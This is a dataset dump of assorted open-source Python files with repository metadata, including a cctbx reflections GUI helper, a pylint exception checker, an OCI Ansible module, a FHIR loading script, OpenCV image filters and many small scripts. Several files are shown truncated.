samuelmarroni/Python
25abb986bcc8efd75917ffc102e4d11874214dcb
[ "MIT" ]
null
null
null
ex002.py
samuelmarroni/Python
25abb986bcc8efd75917ffc102e4d11874214dcb
[ "MIT" ]
null
null
null
nome = input('Olá, qual o seu nome?') print('É um prazer te conhecer, {}!'.format(nome))
29.666667
50
0.651685
nome = input('Olá, qual o seu nome?') print('É um prazer te conhecer, {}!'.format(nome))
true
true
08f4323d3c0ee6e28f2f124a5bf18d2d3c601a0a
42,886
py
Python
iotbx/gui_tools/reflections.py
Anthchirp/cctbx
b8064f755b1dbadf05b8fbf806b7d50d73ef69bf
[ "BSD-3-Clause-LBNL" ]
null
null
null
iotbx/gui_tools/reflections.py
Anthchirp/cctbx
b8064f755b1dbadf05b8fbf806b7d50d73ef69bf
[ "BSD-3-Clause-LBNL" ]
null
null
null
iotbx/gui_tools/reflections.py
Anthchirp/cctbx
b8064f755b1dbadf05b8fbf806b7d50d73ef69bf
[ "BSD-3-Clause-LBNL" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function import iotbx.gui_tools from iotbx import file_reader from libtbx.utils import Sorry import os import six from six.moves import range from libtbx.phil import parse import textwrap def space_group_as_str(space_group): from cctbx...
39.453542
185
0.626918
from __future__ import absolute_import, division, print_function import iotbx.gui_tools from iotbx import file_reader from libtbx.utils import Sorry import os import six from six.moves import range from libtbx.phil import parse import textwrap def space_group_as_str(space_group): from cctbx import sgtbx if space...
true
true
08f4334c382480ca98688bc951a2642aee3f1b01
8,618
py
Python
third_party/pylint/checkers/exceptions.py
yetu/repotools
1f52004a33ee27f539bb4c831b8e8a37751550a8
[ "BSD-3-Clause" ]
45
2015-10-12T10:02:11.000Z
2021-12-14T07:10:47.000Z
pylibs/pylint/checkers/exceptions.py
teranex/python-mode
51d0c3f341b5d0cd68300e16cc29a97a5783ce02
[ "Vim" ]
null
null
null
pylibs/pylint/checkers/exceptions.py
teranex/python-mode
51d0c3f341b5d0cd68300e16cc29a97a5783ce02
[ "Vim" ]
38
2016-06-25T05:57:35.000Z
2021-12-30T04:58:10.000Z
# Copyright (c) 2003-2007 LOGILAB S.A. (Paris, FRANCE). # http://www.logilab.fr/ -- mailto:contact@logilab.fr # This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation; either version 2 of the License, or ...
43.525253
84
0.580645
import sys from logilab.common.compat import builtins BUILTINS_NAME = builtins.__name__ from logilab import astng from logilab.astng import YES, Instance, unpack_infer from pylint.checkers import BaseChecker from pylint.checkers.utils import is_empty, is_raising from pylint.interfaces import IASTNGChecker OVERGENER...
true
true
08f4334e100b28fcc799f91d3f6333a6de574138
273
py
Python
Data/Lab7/test.py
sheikheddy/aus-files
0c38d15d560ccbb8231c8ef210916ea94a0f004b
[ "MIT" ]
null
null
null
Data/Lab7/test.py
sheikheddy/aus-files
0c38d15d560ccbb8231c8ef210916ea94a0f004b
[ "MIT" ]
null
null
null
Data/Lab7/test.py
sheikheddy/aus-files
0c38d15d560ccbb8231c8ef210916ea94a0f004b
[ "MIT" ]
null
null
null
import numpy as np import matplotlib.pyplot as plt def graph_results(file_name): data = np.genfromtxt(file_name, delimiter=',', names=['size','time']) plt.plot(data['size'], data['time']) plt.xlabel('Size of input N') plt.ylabel('Time taken t') return
30.333333
73
0.67033
import numpy as np import matplotlib.pyplot as plt def graph_results(file_name): data = np.genfromtxt(file_name, delimiter=',', names=['size','time']) plt.plot(data['size'], data['time']) plt.xlabel('Size of input N') plt.ylabel('Time taken t') return
true
true
08f4335152bb00a5355f3a8ee7a9ef4916707d8a
9,769
py
Python
modules/admin/admin_tests.py
sharabeshj/course-editor-test
9af15d10ef1f039fdf5758134a7cb72384ccf3f5
[ "Apache-2.0" ]
1
2021-01-06T17:58:30.000Z
2021-01-06T17:58:30.000Z
modules/admin/admin_tests.py
priyankagohil/coursebuilder-assessment
559e867a2a846dd773471c6bc76cf6005a57098f
[ "Apache-2.0" ]
null
null
null
modules/admin/admin_tests.py
priyankagohil/coursebuilder-assessment
559e867a2a846dd773471c6bc76cf6005a57098f
[ "Apache-2.0" ]
null
null
null
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
38.765873
80
0.671512
__author__ = 'John Orr (jorr@google.com)' import re from common import safe_dom from controllers import sites from models import config from models import courses from modules.admin import admin from tests.functional import actions from google.appengine.api import namespace_manager class AdminDashboardTabTests(a...
true
true
08f4344bc98f844e52ee2441a895813acefc37e3
26,545
py
Python
constructMethod/MinConstructMethodBase.py
Tesla2fox/MPDA_Preliminary
5188931878213079cea608cc556b42f1cae225c1
[ "Apache-2.0" ]
1
2018-09-05T03:26:02.000Z
2018-09-05T03:26:02.000Z
constructMethod/MinConstructMethodBase.py
Tesla2fox/MPDA_Preliminary
5188931878213079cea608cc556b42f1cae225c1
[ "Apache-2.0" ]
null
null
null
constructMethod/MinConstructMethodBase.py
Tesla2fox/MPDA_Preliminary
5188931878213079cea608cc556b42f1cae225c1
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Tue Sep 25 14:40:54 2018 GGQ's method @author: robot """ import os,sys AbsolutePath = os.path.abspath(__file__) #将相对路径转换成绝对路径 SuperiorCatalogue = os.path.dirname(AbsolutePath) #相对路径的上级路径 BaseDir = os.path.dirname(SuperiorCatalogue) #在“SuperiorCatalogue”的基础...
42.404153
164
0.532492
import os,sys AbsolutePath = os.path.abspath(__file__) SuperiorCatalogue = os.path.dirname(AbsolutePath) BaseDir = os.path.dirname(SuperiorCatalogue) if BaseDir in sys.path: pass else: sys.path.append(BaseDir) from constructMethod.constructMethodBase import ConstructMethodBase,CalPer...
true
true
08f434c93c88fc733f672196acd7d4222045124c
5,589
py
Python
kartothek/io/dask/_shuffle.py
jorisvandenbossche/kartothek
18b11e7b060bb778668ffc4e2f468910120e6385
[ "MIT" ]
2
2019-05-29T09:45:20.000Z
2019-06-24T19:06:46.000Z
kartothek/io/dask/_shuffle.py
jorisvandenbossche/kartothek
18b11e7b060bb778668ffc4e2f468910120e6385
[ "MIT" ]
18
2019-11-15T15:33:53.000Z
2022-03-04T02:08:18.000Z
kartothek/io/dask/_shuffle.py
jorisvandenbossche/kartothek
18b11e7b060bb778668ffc4e2f468910120e6385
[ "MIT" ]
null
null
null
from functools import partial from typing import List, Optional, Sequence, Union import dask.array as da import dask.dataframe as dd import numpy as np import pandas as pd from kartothek.core.typing import StoreFactory from kartothek.io.dask.compression import pack_payload, unpack_payload_pandas from kartothek.io_com...
35.373418
86
0.709429
from functools import partial from typing import List, Optional, Sequence, Union import dask.array as da import dask.dataframe as dd import numpy as np import pandas as pd from kartothek.core.typing import StoreFactory from kartothek.io.dask.compression import pack_payload, unpack_payload_pandas from kartothek.io_com...
true
true
08f43535638d2d27a2e40182a39417d508210241
12,435
py
Python
library/oci_cpe.py
slmjy/oci-ansible-modules
4713699064f4244b4554b5b2f97b5e5443fa2d6e
[ "Apache-2.0" ]
106
2018-06-29T16:38:56.000Z
2022-02-16T16:38:56.000Z
library/oci_cpe.py
slmjy/oci-ansible-modules
4713699064f4244b4554b5b2f97b5e5443fa2d6e
[ "Apache-2.0" ]
122
2018-09-11T12:49:39.000Z
2021-05-01T04:54:22.000Z
library/oci_cpe.py
slmjy/oci-ansible-modules
4713699064f4244b4554b5b2f97b5e5443fa2d6e
[ "Apache-2.0" ]
78
2018-07-04T05:48:54.000Z
2022-03-09T06:33:12.000Z
#!/usr/bin/python # Copyright (c) 2017, 2019 Oracle and/or its affiliates. # This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # Apache License v2.0 # See LICENSE.TXT for d...
37.567976
144
0.64809
from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { "metadata_version": "1.1", "status": ["preview"], "supported_by": "community", } DOCUMENTATION = """ --- module: oci_cpe short_description: Manage a Cpe resource in Oracle Cloud Infrastructure des...
true
true
08f4369d9d19c644af6e562ab151f8ea59e6eff2
3,700
py
Python
fhir/scripts/fhir_load.py
anvilproject/client-apis
cbd892042e092b0a1dede4c561bcfdde15e9a3ad
[ "Apache-2.0" ]
8
2019-07-02T20:41:24.000Z
2022-01-12T21:50:21.000Z
fhir/scripts/fhir_load.py
mmtmn/client-apis
215adae0b7f401b4bf62e7bd79b6a8adfe69cf4f
[ "Apache-2.0" ]
37
2019-01-16T17:48:02.000Z
2021-08-13T21:35:54.000Z
fhir/scripts/fhir_load.py
mmtmn/client-apis
215adae0b7f401b4bf62e7bd79b6a8adfe69cf4f
[ "Apache-2.0" ]
7
2019-05-13T14:59:27.000Z
2022-01-12T21:50:22.000Z
"""Extract all workspaces.""" import os import logging import glob import concurrent.futures import requests from requests.auth import HTTPBasicAuth import json # TODO - smilecdr throws exceptions when multiple connections (validating each request) CONNECTIONS = 10 TIMEOUT = 50 logging.basicConfig(level=logging.WA...
31.092437
160
0.638108
import os import logging import glob import concurrent.futures import requests from requests.auth import HTTPBasicAuth import json CONNECTIONS = 10 TIMEOUT = 50 logging.basicConfig(level=logging.WARN, format='%(asctime)s %(levelname)-8s %(message)s') DASHBOARD_OUTPUT_PATH = "/tmp/ThousandGenomes" FHIR_API = os.g...
true
true
08f437d01690375dcfae52753c8f7fd4a374723c
4,589
py
Python
solution/svd/tmall.py
wait4pumpkin/tmall
a64a075a018c2b452e02cbca682dd096901ed112
[ "MIT" ]
5
2015-05-06T17:35:26.000Z
2020-05-06T13:04:44.000Z
solution/svd/tmall.py
wait4pumpkin/tmall
a64a075a018c2b452e02cbca682dd096901ed112
[ "MIT" ]
null
null
null
solution/svd/tmall.py
wait4pumpkin/tmall
a64a075a018c2b452e02cbca682dd096901ed112
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import csv import random import glob import os import sys import recsys.algorithm recsys.algorithm.VERBOSE = True from recsys.algorithm.factorize import SVD from recsys.datamodel.data import Data from recsys.evaluation.prediction import RMSE, MAE from svmutil import *...
30.798658
111
0.54173
import csv import random import glob import os import sys import recsys.algorithm recsys.algorithm.VERBOSE = True from recsys.algorithm.factorize import SVD from recsys.datamodel.data import Data from recsys.evaluation.prediction import RMSE, MAE from svmutil import * N_MONTH = 4 N_DAY_PER_MONTH = 31 BASE_MONTH = ...
false
true
08f437ed71ca39f1a15c8c095cf8de48ffc9cb80
775
py
Python
var/spack/repos/builtin/packages/lemon/package.py
jeanbez/spack
f4e51ce8f366c85bf5aa0eafe078677b42dae1ba
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
null
null
null
var/spack/repos/builtin/packages/lemon/package.py
jeanbez/spack
f4e51ce8f366c85bf5aa0eafe078677b42dae1ba
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
8
2021-11-09T20:28:40.000Z
2022-03-15T03:26:33.000Z
var/spack/repos/builtin/packages/lemon/package.py
jeanbez/spack
f4e51ce8f366c85bf5aa0eafe078677b42dae1ba
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
2
2019-02-08T20:37:20.000Z
2019-03-31T15:19:26.000Z
# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack.package import * class Lemon(CMakePackage): """LEMON stands for Library for Efficient Modeling and Optimi...
40.789474
95
0.76
from spack.package import * class Lemon(CMakePackage): homepage = "https://lemon.cs.elte.hu/trac/lemon" url = "https://lemon.cs.elte.hu/pub/sources/lemon-1.3.1.tar.gz" version('1.3.1', sha256='71b7c725f4c0b4a8ccb92eb87b208701586cf7a96156ebd821ca3ed855bad3c8')
true
true
08f4383a8a670b857a6107a33a064fd10abbbb9c
782
py
Python
June 2021/Number of Matching Subsequences.py
parikshitgupta1/leetcode
eba6c11740dc7597204af127c0f4c2163376294f
[ "MIT" ]
null
null
null
June 2021/Number of Matching Subsequences.py
parikshitgupta1/leetcode
eba6c11740dc7597204af127c0f4c2163376294f
[ "MIT" ]
null
null
null
June 2021/Number of Matching Subsequences.py
parikshitgupta1/leetcode
eba6c11740dc7597204af127c0f4c2163376294f
[ "MIT" ]
null
null
null
class Solution: def __isSubSequence(self, string1, string2, m, n): # Base Cases if m == 0: return True if n == 0: return False # If last characters of two strings are matching if string1[m-1] == string2[n-1]: return self.__isSubSequence(s...
32.583333
69
0.56266
class Solution: def __isSubSequence(self, string1, string2, m, n): if m == 0: return True if n == 0: return False if string1[m-1] == string2[n-1]: return self.__isSubSequence(string1, string2, m-1, n-1) return self.__isSub...
true
true
08f4387fffb54db649ff9a685060a86a9b95c923
3,087
py
Python
custom_components/tahoma/water_heater_devices/hitachi_dhw.py
ColinRobbins/ha-tahoma
70df1644475211cfe8c0ff709a9d6b7d8ee85ee7
[ "MIT" ]
null
null
null
custom_components/tahoma/water_heater_devices/hitachi_dhw.py
ColinRobbins/ha-tahoma
70df1644475211cfe8c0ff709a9d6b7d8ee85ee7
[ "MIT" ]
null
null
null
custom_components/tahoma/water_heater_devices/hitachi_dhw.py
ColinRobbins/ha-tahoma
70df1644475211cfe8c0ff709a9d6b7d8ee85ee7
[ "MIT" ]
null
null
null
"""Support for HitachiDHW.""" from homeassistant.components.climate.const import SUPPORT_TARGET_TEMPERATURE from homeassistant.components.water_heater import ( STATE_HIGH_DEMAND, SUPPORT_OPERATION_MODE, WaterHeaterEntity, ) from homeassistant.const import ( ATTR_TEMPERATURE, PRECISION_WHOLE, STA...
33.554348
82
0.705863
from homeassistant.components.climate.const import SUPPORT_TARGET_TEMPERATURE from homeassistant.components.water_heater import ( STATE_HIGH_DEMAND, SUPPORT_OPERATION_MODE, WaterHeaterEntity, ) from homeassistant.const import ( ATTR_TEMPERATURE, PRECISION_WHOLE, STATE_OFF, TEMP_CELSIUS, ) fr...
true
true
08f4391f7d47ae8404c01fd8d2900d90b69a343c
2,846
py
Python
huaweicloud-sdk-vpc/huaweicloudsdkvpc/v2/model/neutron_create_firewall_group_request.py
wuchen-huawei/huaweicloud-sdk-python-v3
3683d703f4320edb2b8516f36f16d485cff08fc2
[ "Apache-2.0" ]
1
2021-04-16T07:59:28.000Z
2021-04-16T07:59:28.000Z
huaweicloud-sdk-vpc/huaweicloudsdkvpc/v2/model/neutron_create_firewall_group_request.py
wuchen-huawei/huaweicloud-sdk-python-v3
3683d703f4320edb2b8516f36f16d485cff08fc2
[ "Apache-2.0" ]
null
null
null
huaweicloud-sdk-vpc/huaweicloudsdkvpc/v2/model/neutron_create_firewall_group_request.py
wuchen-huawei/huaweicloud-sdk-python-v3
3683d703f4320edb2b8516f36f16d485cff08fc2
[ "Apache-2.0" ]
1
2022-01-17T02:24:18.000Z
2022-01-17T02:24:18.000Z
# coding: utf-8 import pprint import re import six class NeutronCreateFirewallGroupRequest: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name ...
26.110092
84
0.554462
import pprint import re import six class NeutronCreateFirewallGroupRequest: sensitive_list = [] openapi_types = { 'body': 'NeutronCreateFirewallGroupRequestBody' } attribute_map = { 'body': 'body' } def __init__(self, body=None): self._body...
true
true
08f4397e8105336ea745f6082fcbad777fea9c94
7,235
py
Python
loldib/getratings/models/NA/na_mordekaiser/na_mordekaiser_bot.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_mordekaiser/na_mordekaiser_bot.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
loldib/getratings/models/NA/na_mordekaiser/na_mordekaiser_bot.py
koliupy/loldib
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
[ "Apache-2.0" ]
null
null
null
from getratings.models.ratings import Ratings class NA_Mordekaiser_Bot_Aatrox(Ratings): pass class NA_Mordekaiser_Bot_Ahri(Ratings): pass class NA_Mordekaiser_Bot_Akali(Ratings): pass class NA_Mordekaiser_Bot_Alistar(Ratings): pass class NA_Mordekaiser_Bot_Amumu(Ratings): pass class NA_Morde...
17.35012
48
0.788943
from getratings.models.ratings import Ratings class NA_Mordekaiser_Bot_Aatrox(Ratings): pass class NA_Mordekaiser_Bot_Ahri(Ratings): pass class NA_Mordekaiser_Bot_Akali(Ratings): pass class NA_Mordekaiser_Bot_Alistar(Ratings): pass class NA_Mordekaiser_Bot_Amumu(Ratings): pass class NA_Morde...
true
true
08f43a363dc8e7d6615eecbc761f4435f2bbea03
1,978
py
Python
libzip/File.py
KOLANICH-libs/libzip.py
e7610424e06ea336c5f3a02be3f81141e9e42540
[ "Unlicense" ]
null
null
null
libzip/File.py
KOLANICH-libs/libzip.py
e7610424e06ea336c5f3a02be3f81141e9e42540
[ "Unlicense" ]
null
null
null
libzip/File.py
KOLANICH-libs/libzip.py
e7610424e06ea336c5f3a02be3f81141e9e42540
[ "Unlicense" ]
null
null
null
import platform import typing from collections.abc import ByteString from ctypes import CDLL, POINTER, byref, c_byte, c_char_p, c_int8, c_int16, c_int32, cast from datetime import date, time, datetime from icecream import ic from . import functions as f from ._inttypes import * from .callbacks import * from .enums i...
27.09589
146
0.749747
import platform import typing from collections.abc import ByteString from ctypes import CDLL, POINTER, byref, c_byte, c_char_p, c_int8, c_int16, c_int32, cast from datetime import date, time, datetime from icecream import ic from . import functions as f from ._inttypes import * from .callbacks import * from .enums i...
true
true
08f43ac81eac00bab562662cc8c84cba373401c5
639
py
Python
Task2B.py
lhliew/flood-warning
234bb3f7ec7174fc91963d8b7e64df1893694e1b
[ "MIT" ]
null
null
null
Task2B.py
lhliew/flood-warning
234bb3f7ec7174fc91963d8b7e64df1893694e1b
[ "MIT" ]
null
null
null
Task2B.py
lhliew/flood-warning
234bb3f7ec7174fc91963d8b7e64df1893694e1b
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Mon Feb 27 17:31:50 2017 @author: user 1 """ from floodsystem.flood import stations_level_over_threshold from floodsystem.stationdata import build_station_list, update_water_levels def run(): stations = build_station_list() update_water_levels(stations) ...
26.625
80
0.70266
from floodsystem.flood import stations_level_over_threshold from floodsystem.stationdata import build_station_list, update_water_levels def run(): stations = build_station_list() update_water_levels(stations) stations_over_threshold = stations_level_over_threshold(stations, 0.7) fo...
true
true
08f43b0ef8c1598d385f71ef4292a6c214be04e0
654
py
Python
acos_client/v30/nat.py
alonbg/acos-client
027370e47862ea64d289a6f55378fe45fb28140d
[ "Apache-2.0" ]
null
null
null
acos_client/v30/nat.py
alonbg/acos-client
027370e47862ea64d289a6f55378fe45fb28140d
[ "Apache-2.0" ]
null
null
null
acos_client/v30/nat.py
alonbg/acos-client
027370e47862ea64d289a6f55378fe45fb28140d
[ "Apache-2.0" ]
null
null
null
# Copyright 2015, A10 Networks # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
32.7
78
0.723242
import base class Nat(base.BaseV30): pass
true
true
08f43d2193fd86c0e7ec6e4aa352600de06ac751
3,127
py
Python
Filters/init.py
codediaz/Opencv-image-filters
98afae9fe50da2212cccb7bc9d48db7c41d8df05
[ "MIT" ]
1
2022-01-13T01:05:51.000Z
2022-01-13T01:05:51.000Z
Filters/init.py
codediaz/Opencv-image-filters
98afae9fe50da2212cccb7bc9d48db7c41d8df05
[ "MIT" ]
null
null
null
Filters/init.py
codediaz/Opencv-image-filters
98afae9fe50da2212cccb7bc9d48db7c41d8df05
[ "MIT" ]
null
null
null
import numpy as np import cv2 import random from utils import CFEVideoConf, image_resize import glob import math cap = cv2.VideoCapture(0) frames_per_seconds = 20 save_path='saved-media/filter.mp4' config = CFEVideoConf(cap, filepath=save_path, res='480p') #out = cv2.VideoWriter(save_path, config.video_type, frames_p...
29.5
85
0.673489
import numpy as np import cv2 import random from utils import CFEVideoConf, image_resize import glob import math cap = cv2.VideoCapture(0) frames_per_seconds = 20 save_path='saved-media/filter.mp4' config = CFEVideoConf(cap, filepath=save_path, res='480p') def apply_invert(frame): return cv2.bitwise_not(frame) ...
true
true
08f43d510f8639cd22755ad1c780f3a18a6ada0a
515
py
Python
djangobench/benchmarks/url_resolve/urls.py
Khushi2000-16/djangobench-1
03c8a1135e5a7b7c6ae11731b646546984add6b3
[ "BSD-3-Clause" ]
92
2015-02-07T11:03:45.000Z
2022-03-23T10:51:06.000Z
djangobench/benchmarks/url_resolve/urls.py
Khushi2000-16/djangobench-1
03c8a1135e5a7b7c6ae11731b646546984add6b3
[ "BSD-3-Clause" ]
19
2015-03-22T14:30:03.000Z
2022-03-24T22:43:24.000Z
djangobench/benchmarks/url_resolve/urls.py
Khushi2000-16/djangobench-1
03c8a1135e5a7b7c6ae11731b646546984add6b3
[ "BSD-3-Clause" ]
25
2015-01-22T19:53:25.000Z
2022-03-20T11:15:54.000Z
from django.conf.urls import url from . import views def generate_filler_patterns(num=1): """ Returns a list of url pattern inputs for garbage views """ for n in range(num): yield url(r''.join((r'^', r'x' * 3 * n, r'/$')), views.basic) urlpatterns = list(generate_filler_patterns(10)) urlpatterns.app...
34.333333
74
0.667961
from django.conf.urls import url from . import views def generate_filler_patterns(num=1): for n in range(num): yield url(r''.join((r'^', r'x' * 3 * n, r'/$')), views.basic) urlpatterns = list(generate_filler_patterns(10)) urlpatterns.append(url(r'^basic/$', views.basic, name='basic')) urlpatterns.append...
true
true
08f43e028709ab3fa000431f43b479e45ff1f336
366
py
Python
python/fbprophet/__init__.py
Fortune-Adekogbe/prophet
90230e7ba57ce36fe68d78195b12886369e4a4ac
[ "MIT" ]
2
2020-10-01T11:09:45.000Z
2020-10-12T09:36:39.000Z
python/fbprophet/__init__.py
Fortune-Adekogbe/prophet
90230e7ba57ce36fe68d78195b12886369e4a4ac
[ "MIT" ]
2
2021-11-04T21:17:15.000Z
2022-02-26T07:38:48.000Z
python/fbprophet/__init__.py
Fortune-Adekogbe/prophet
90230e7ba57ce36fe68d78195b12886369e4a4ac
[ "MIT" ]
1
2020-07-13T03:03:29.000Z
2020-07-13T03:03:29.000Z
# Copyright (c) 2017-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. An additional grant # of patent rights can be found in the PATENTS file in the same directory. from fbprophet.forecast...
33.272727
78
0.765027
from fbprophet.forecaster import Prophet __version__ = '0.6.1.dev0'
true
true